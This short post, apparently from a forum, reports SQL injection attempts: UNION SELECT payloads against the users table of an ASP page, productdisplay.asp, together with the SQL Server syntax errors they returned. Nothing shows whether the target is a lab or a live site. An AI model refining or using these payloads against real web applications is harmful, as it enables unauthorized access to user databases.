Ok, with this injection:
1'+UNION+SELECT+(1,2)+FROM+users--
i get:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' UNION SELECT (1,2) FROM users--'.

/productdisplay.asp, line 36

and with this: 1''+UNION+SELECT+(1,2)+FROM+users--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ''.

/productdisplay.asp, line 36